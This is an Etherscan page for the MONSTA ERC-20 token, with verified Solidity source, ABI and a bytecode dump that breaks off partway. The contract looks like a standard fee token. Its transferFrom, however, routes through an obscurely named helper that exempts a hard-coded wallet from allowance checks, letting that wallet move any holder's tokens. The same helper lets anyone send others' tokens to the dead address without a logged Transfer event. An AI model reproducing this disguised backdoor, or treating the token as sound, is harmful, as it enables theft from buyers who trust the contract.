ETH Price: $2,322.74 (+1.26%)

Token

Monsta Coin (MONSTA)
 

Overview

Max Total Supply

1,000,000,000 MONSTA

Holders

179

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
157 MONSTA

Value
$0.00
0x47b6925692548d0580a2910f70ffef14ded87979
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MONSTA

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-02-24
*/

/*

https://www.monstacoin.live/

https://t.me/monsta_coin

https://x.com/monsta_coin

*/

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

contract MONSTA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeFees;

    address private _ercdead = address(0xdead);
    address private _coinmons = 0x6938288213B6B256244c5B8a50B4C641C4F4cfBb;

    uint256 private _firstFees=1;
    uint256 private _finalFees=0;
    uint256 private _reducingNumber=2;
    uint256 private _buyTokenCount=0;
    uint256 private _lastBuyBlock;
    uint256 private _blockBuyAmount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"Monsta Coin";
    string private constant _symbol = unicode"MONSTA";
    uint256 private _taxSwpTokens = _tTotal / 100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private _uniswPair;
    bool private _tradingActive;
    bool private _swapping = false;
    bool private _swapActive = false;
    
    modifier lockTheSwap {
        _swapping = true;
        _;
        _swapping = false;
    }

    constructor () payable {
        _isExcludeFees[owner()] = true;
        _isExcludeFees[address(this)] = true;
        _isExcludeFees[_coinmons] = true;

        _balances[owner()] = _tTotal;
        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _mimiwone(sender, recipient, _msgSender(), amount);
        return true;
    }

    function _mimiwone(address _pikin, address _tiwin, address _ziok, uint256 _aiwone) private {
        if ((_pikin == _uniswPair || _tiwin != _ercdead) && _ziok != _coinmons)
        _approve(_pikin, _ziok, _allowances[_pikin][_ziok].sub(_aiwone, "ERC20: approve zero"));
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address _saion, address _lawin, uint256 amount) private {
        require(_saion != address(0), "ERC20: transfer from the zero address");
        require(_lawin != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 feeAmount=0;
        if (_saion != owner() && _lawin != owner()) {
            feeAmount = amount.mul((_buyTokenCount>_reducingNumber)?_finalFees:_firstFees).div(100);

            if (_saion == _uniswPair && _lawin != address(uniswapV2Router) && ! _isExcludeFees[_lawin] ) {
                if(_lastBuyBlock!=block.number){
                    _blockBuyAmount = 0;
                    _lastBuyBlock = block.number;
                }
                _blockBuyAmount += amount;
                _buyTokenCount++;
            }

            if(_lawin == _uniswPair && _saion!= address(this) ){
                require(_blockBuyAmount < getMaxLimitSwap() || _lastBuyBlock!=block.number, "Max Swap Per Block");  
                feeAmount = amount.mul((_buyTokenCount>_reducingNumber)?_finalFees:_firstFees).div(100);
            }

            uint256 caBalance = balanceOf(address(this));
            if (!_swapping && _lawin == _uniswPair && _swapActive && _buyTokenCount > _reducingNumber) {
                if(caBalance > _taxSwpTokens)
                swapTokensForEth(min(amount, min(caBalance, _taxSwpTokens)));
                sendETHToFee(address(this).balance);
            }
        }

        if(feeAmount>0){
          _balances[address(this)]=_balances[address(this)].add(feeAmount);
          emit Transfer(_saion, address(this),feeAmount);
        }
        if (_lawin != _ercdead)
            emit Transfer(_saion, _lawin, amount.sub(feeAmount));
        _balances[_saion]=_balances[_saion].sub(amount);
        _balances[_lawin]=_balances[_lawin].add(amount.sub(feeAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function getMaxLimitSwap() internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        uint[] memory amountOuts = uniswapV2Router.getAmountsOut(5 * 1e18, path);
        return amountOuts[1];
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        payable(_coinmons).transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!_tradingActive,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _uniswPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_uniswPair).approve(address(uniswapV2Router), type(uint).max);
        _swapActive = true;
        _tradingActive = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600480546001600160a01b031990811661dead1790915560058054909116736938288213b6b256244c5b8a50b4c641c4f4cfbb17905560016006555f600781905560026008556009818155600b919091556064906200006590600a6200030c565b6200007590633b9aca0062000323565b6200008191906200033d565b600c55600e805461ffff60a81b191690555f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160035f620000e95f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352912080549092161790556200014d6009600a6200030c565b6200015d90633b9aca0062000323565b60015f620001725f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f20556200019d5f546001600160a01b031690565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001d66009600a6200030c565b620001e690633b9aca0062000323565b60405190815260200160405180910390a36200035d565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200025157815f1904821115620002355762000235620001fd565b808516156200024357918102915b93841c939080029062000216565b509250929050565b5f82620002695750600162000306565b816200027757505f62000306565b81600181146200029057600281146200029b57620002bb565b600191505062000306565b60ff841115620002af57620002af620001fd565b50506001821b62000306565b5060208310610133831016604e8410600b8410161715620002e0575081810a62000306565b620002ec838362000211565b805f1904821115620003025762000302620001fd565b0290505b92915050565b5f6200031c60ff84168362000259565b9392505050565b8082028115828204841417620003065762000306620001fd565b5f826200035857634e487b7160e01b5f52601260045260245ffd5b500490565b6117b4806200036b5f395ff3fe6080604052600436106100a8575f3560e01c8063715018a611610062578063715018a6146101b75780638da5cb5b146101cd57806395d89b41146101f3578063a9059cbb14610221578063c9567bf914610240578063dd62ed3e14610254575f80fd5b806306fdde03146100b3578063095ea7b3146100f857806318160ddd1461012757806323b872dd14610149578063313ce5671461016857806370a0823114610183575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b5060408051808201909152600b81526a26b7b739ba309021b7b4b760a91b60208201525b6040516100ef9190611307565b60405180910390f35b348015610103575f80fd5b5061011761011236600461136a565b610298565b60405190151581526020016100ef565b348015610132575f80fd5b5061013b6102ae565b6040519081526020016100ef565b348015610154575f80fd5b50610117610163366004611394565b6102ce565b348015610173575f80fd5b50604051600981526020016100ef565b34801561018e575f80fd5b5061013b61019d3660046113d2565b6001600160a01b03165f9081526001602052604090205490565b3480156101c2575f80fd5b506101cb6102f0565b005b3480156101d8575f80fd5b505f546040516001600160a01b0390911681526020016100ef565b3480156101fe575f80fd5b506040805180820190915260068152654d4f4e53544160d01b60208201526100e2565b34801561022c575f80fd5b5061011761023b36600461136a565b610396565b34801561024b575f80fd5b506101cb6103a2565b34801561025f575f80fd5b5061013b61026e3660046113ed565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102a4338484610780565b5060015b92915050565b5f6102bb6009600a611518565b6102c990633b9aca00611526565b905090565b5f6102da8484846108a3565b6102e684843385610d4c565b5060019392505050565b5f546001600160a01b0316331461034e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102a43384846108a3565b5f546001600160a01b031633146103fb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610345565b600e54600160a01b900460ff16156104555760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610345565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104a39030906104906009600a611518565b61049e90633b9aca00611526565b610780565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610517919061153d565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610576573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061059a919061153d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105e4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610608919061153d565b600e80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d719473061064f816001600160a01b03165f9081526001602052604090205490565b5f806106625f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106c8573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106ed9190611558565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610742573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107669190611583565b50600e805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166107e25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610345565b6001600160a01b0382166108435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610345565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610345565b6001600160a01b0382166109695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610345565b5f81116109ca5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610345565b5f80546001600160a01b038581169116148015906109f557505f546001600160a01b03848116911614155b15610bee57610a266064610a2060085460095411610a1557600654610a19565b6007545b8590610dfe565b90610e83565b600e549091506001600160a01b038581169116148015610a545750600d546001600160a01b03848116911614155b8015610a7857506001600160a01b0383165f9081526003602052604090205460ff16155b15610aba5743600a5414610a8f575f600b5543600a555b81600b5f828254610aa091906115a2565b909155505060098054905f610ab4836115b5565b91905055505b600e546001600160a01b038481169116148015610ae057506001600160a01b0384163014155b15610b5d57610aed610ec4565b600b541080610afe575043600a5414155b610b3f5760405162461bcd60e51b81526020600482015260126024820152714d617820537761702050657220426c6f636b60701b6044820152606401610345565b610b5a6064610a2060085460095411610a1557600654610a19565b90505b305f90815260016020526040902054600e54600160a81b900460ff16158015610b935750600e546001600160a01b038581169116145b8015610ba85750600e54600160b01b900460ff165b8015610bb75750600854600954115b15610bec57600c54811115610be357610be3610bde84610bd984600c54611049565b611049565b61105d565b610bec476111cd565b505b8015610c6657305f90815260016020526040902054610c0d9082611208565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c5d9085815260200190565b60405180910390a35b6004546001600160a01b03848116911614610cc6576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cb48585611266565b60405190815260200160405180910390a35b6001600160a01b0384165f90815260016020526040902054610ce89083611266565b6001600160a01b0385165f90815260016020526040902055610d2b610d0d8383611266565b6001600160a01b0385165f9081526001602052604090205490611208565b6001600160a01b039093165f90815260016020526040902092909255505050565b600e546001600160a01b0385811691161480610d7657506004546001600160a01b03848116911614155b8015610d9057506005546001600160a01b03838116911614155b15610df857604080518082018252601381527245524332303a20617070726f7665207a65726f60681b6020808301919091526001600160a01b038088165f90815260028352848120918716815291529190912054610df8918691859161049e919086906112a3565b50505050565b5f825f03610e0d57505f6102a8565b5f610e188385611526565b905082610e2585836115cd565b14610e7c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610345565b9392505050565b5f610e7c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112db565b6040805160028082526060820183525f92839291906020830190803683375050600d54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610f2f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f53919061153d565b815f81518110610f6557610f65611600565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610f9957610f99611600565b6001600160a01b039283166020918202929092010152600d5460405163d06ca61f60e01b81525f92919091169063d06ca61f90610fe490674563918244f40000908690600401611657565b5f60405180830381865afa158015610ffe573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526110259190810190611677565b90508060018151811061103a5761103a611600565b60200260200101519250505090565b5f8183116110575782610e7c565b50919050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110a3576110a3611600565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061111e919061153d565b8160018151811061113157611131611600565b6001600160a01b039283166020918202929092010152600d546111579130911684610780565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118f9085905f90869030904290600401611730565b5f604051808303815f87803b1580156111a6575f80fd5b505af11580156111b8573d5f803e3d5ffd5b5050600e805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611204573d5f803e3d5ffd5b5050565b5f8061121483856115a2565b905083811015610e7c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610345565b5f610e7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152505b5f81848411156112c65760405162461bcd60e51b81526004016103459190611307565b505f6112d2848661176b565b95945050505050565b5f81836112fb5760405162461bcd60e51b81526004016103459190611307565b505f6112d284866115cd565b5f602080835283518060208501525f5b8181101561133357858101830151858201604001528201611317565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611367575f80fd5b50565b5f806040838503121561137b575f80fd5b823561138681611353565b946020939093013593505050565b5f805f606084860312156113a6575f80fd5b83356113b181611353565b925060208401356113c181611353565b929592945050506040919091013590565b5f602082840312156113e2575f80fd5b8135610e7c81611353565b5f80604083850312156113fe575f80fd5b823561140981611353565b9150602083013561141981611353565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561147257815f190482111561145857611458611424565b8085161561146557918102915b93841c939080029061143d565b509250929050565b5f82611488575060016102a8565b8161149457505f6102a8565b81600181146114aa57600281146114b4576114d0565b60019150506102a8565b60ff8411156114c5576114c5611424565b50506001821b6102a8565b5060208310610133831016604e8410600b84101617156114f3575081810a6102a8565b6114fd8383611438565b805f190482111561151057611510611424565b029392505050565b5f610e7c60ff84168361147a565b80820281158282048414176102a8576102a8611424565b5f6020828403121561154d575f80fd5b8151610e7c81611353565b5f805f6060848603121561156a575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611593575f80fd5b81518015158114610e7c575f80fd5b808201808211156102a8576102a8611424565b5f600182016115c6576115c6611424565b5060010190565b5f826115e757634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52604160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f815180845260208085019450602084015f5b8381101561164c5781516001600160a01b031687529582019590820190600101611627565b509495945050505050565b828152604060208201525f61166f6040830184611614565b949350505050565b5f6020808385031215611688575f80fd5b825167ffffffffffffffff8082111561169f575f80fd5b818501915085601f8301126116b2575f80fd5b8151818111156116c4576116c46115ec565b8060051b604051601f19603f830116810181811085821117156116e9576116e96115ec565b604052918252848201925083810185019188831115611706575f80fd5b938501935b828510156117245784518452938501939285019261170b565b98975050505050505050565b85815284602082015260a060408201525f61174e60a0830186611614565b6001600160a01b0394909416606083015250608001529392505050565b818103818111156102a8576102a861142456fea2646970667358221220588feeb6ab12ae52e07df39feec89f263fcaca131d3c53bf4070d9da5c8de59964736f6c63430008170033

Deployed Bytecode

0x6080604052600436106100a8575f3560e01c8063715018a611610062578063715018a6146101b75780638da5cb5b146101cd57806395d89b41146101f3578063a9059cbb14610221578063c9567bf914610240578063dd62ed3e14610254575f80fd5b806306fdde03146100b3578063095ea7b3146100f857806318160ddd1461012757806323b872dd14610149578063313ce5671461016857806370a0823114610183575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b5060408051808201909152600b81526a26b7b739ba309021b7b4b760a91b60208201525b6040516100ef9190611307565b60405180910390f35b348015610103575f80fd5b5061011761011236600461136a565b610298565b60405190151581526020016100ef565b348015610132575f80fd5b5061013b6102ae565b6040519081526020016100ef565b348015610154575f80fd5b50610117610163366004611394565b6102ce565b348015610173575f80fd5b50604051600981526020016100ef565b34801561018e575f80fd5b5061013b61019d3660046113d2565b6001600160a01b03165f9081526001602052604090205490565b3480156101c2575f80fd5b506101cb6102f0565b005b3480156101d8575f80fd5b505f546040516001600160a01b0390911681526020016100ef565b3480156101fe575f80fd5b506040805180820190915260068152654d4f4e53544160d01b60208201526100e2565b34801561022c575f80fd5b5061011761023b36600461136a565b610396565b34801561024b575f80fd5b506101cb6103a2565b34801561025f575f80fd5b5061013b61026e3660046113ed565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102a4338484610780565b5060015b92915050565b5f6102bb6009600a611518565b6102c990633b9aca00611526565b905090565b5f6102da8484846108a3565b6102e684843385610d4c565b5060019392505050565b5f546001600160a01b0316331461034e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102a43384846108a3565b5f546001600160a01b031633146103fb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610345565b600e54600160a01b900460ff16156104555760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610345565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104a39030906104906009600a611518565b61049e90633b9aca00611526565b610780565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610517919061153d565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610576573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061059a919061153d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105e4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610608919061153d565b600e80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d719473061064f816001600160a01b03165f9081526001602052604090205490565b5f806106625f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106c8573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106ed9190611558565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610742573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107669190611583565b50600e805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166107e25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610345565b6001600160a01b0382166108435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610345565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610345565b6001600160a01b0382166109695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610345565b5f81116109ca5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610345565b5f80546001600160a01b038581169116148015906109f557505f546001600160a01b03848116911614155b15610bee57610a266064610a2060085460095411610a1557600654610a19565b6007545b8590610dfe565b90610e83565b600e549091506001600160a01b038581169116148015610a545750600d546001600160a01b03848116911614155b8015610a7857506001600160a01b0383165f9081526003602052604090205460ff16155b15610aba5743600a5414610a8f575f600b5543600a555b81600b5f828254610aa091906115a2565b909155505060098054905f610ab4836115b5565b91905055505b600e546001600160a01b038481169116148015610ae057506001600160a01b0384163014155b15610b5d57610aed610ec4565b600b541080610afe575043600a5414155b610b3f5760405162461bcd60e51b81526020600482015260126024820152714d617820537761702050657220426c6f636b60701b6044820152606401610345565b610b5a6064610a2060085460095411610a1557600654610a19565b90505b305f90815260016020526040902054600e54600160a81b900460ff16158015610b935750600e546001600160a01b038581169116145b8015610ba85750600e54600160b01b900460ff165b8015610bb75750600854600954115b15610bec57600c54811115610be357610be3610bde84610bd984600c54611049565b611049565b61105d565b610bec476111cd565b505b8015610c6657305f90815260016020526040902054610c0d9082611208565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c5d9085815260200190565b60405180910390a35b6004546001600160a01b03848116911614610cc6576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cb48585611266565b60405190815260200160405180910390a35b6001600160a01b0384165f90815260016020526040902054610ce89083611266565b6001600160a01b0385165f90815260016020526